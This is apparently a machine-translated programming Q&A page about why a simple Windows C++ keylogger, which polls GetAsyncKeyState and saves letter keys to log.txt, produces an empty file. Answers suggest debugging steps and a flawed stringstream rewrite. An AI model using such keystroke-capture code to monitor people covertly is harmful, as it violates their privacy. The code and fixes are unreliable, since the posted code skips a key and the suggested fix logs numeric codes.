将关键输入写入文件

Writing key inputs to a file

本文关键字:文件 输入      更新时间:2023-10-16

我用GNU GCC编译器在代码块中编译这段代码,但由于某种原因,它创建的日志文件无论如何都是空的。知道为什么会这样吗?

#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>
using namespace std;
int i;
string s;
int main()
{
    ofstream log;
    log.open("log.txt");
    while (!GetAsyncKeyState(VK_F8)) {
        for (i=65; i<90; i++) {
            if (GetAsyncKeyState(i)) {
                s+=i;
            }
            Sleep(10);
        }
        if (GetAsyncKeyState(VK_SPACE)) {
            s+=" ";
        }
    }
    log << s;
    log.close();
    cin.get();
}

考虑以下几点:


您是否在条件下尝试log << "TEST" ?

试试这个(在log.open呼叫之后):

log.open("log.txt");
log << "TEST" << endl;

如果TEST被写入文件,你的文件是空的,因为条件永远不会为真。


另一个问题可能是文件包含不可显示的字符。将文件转储到十六进制编辑器。文件的大小是否为0,或者它是否包含您可能无法在普通文本编辑器上显示的数据?


*EDIT: *这应该是你想要的:

i" "直接写入log或使用stringstream:

#include <sstream>
//...
ofstream log;
log.open("log.txt");
stringstream str;
while (!GetAsyncKeyState(VK_F8)) {
    for (i=65; i<90; i++) {
        if (GetAsyncKeyState(i)) {
            str << i;
        }
        Sleep(10);
    }
    if (GetAsyncKeyState(VK_SPACE)) {
        str << " ";
    }
}
log << str.rdbuf();
log.close();
cin.get();

尝试用if(GetKeyState(0x41))代替if

很可能您正在错误的目录中查找log.txt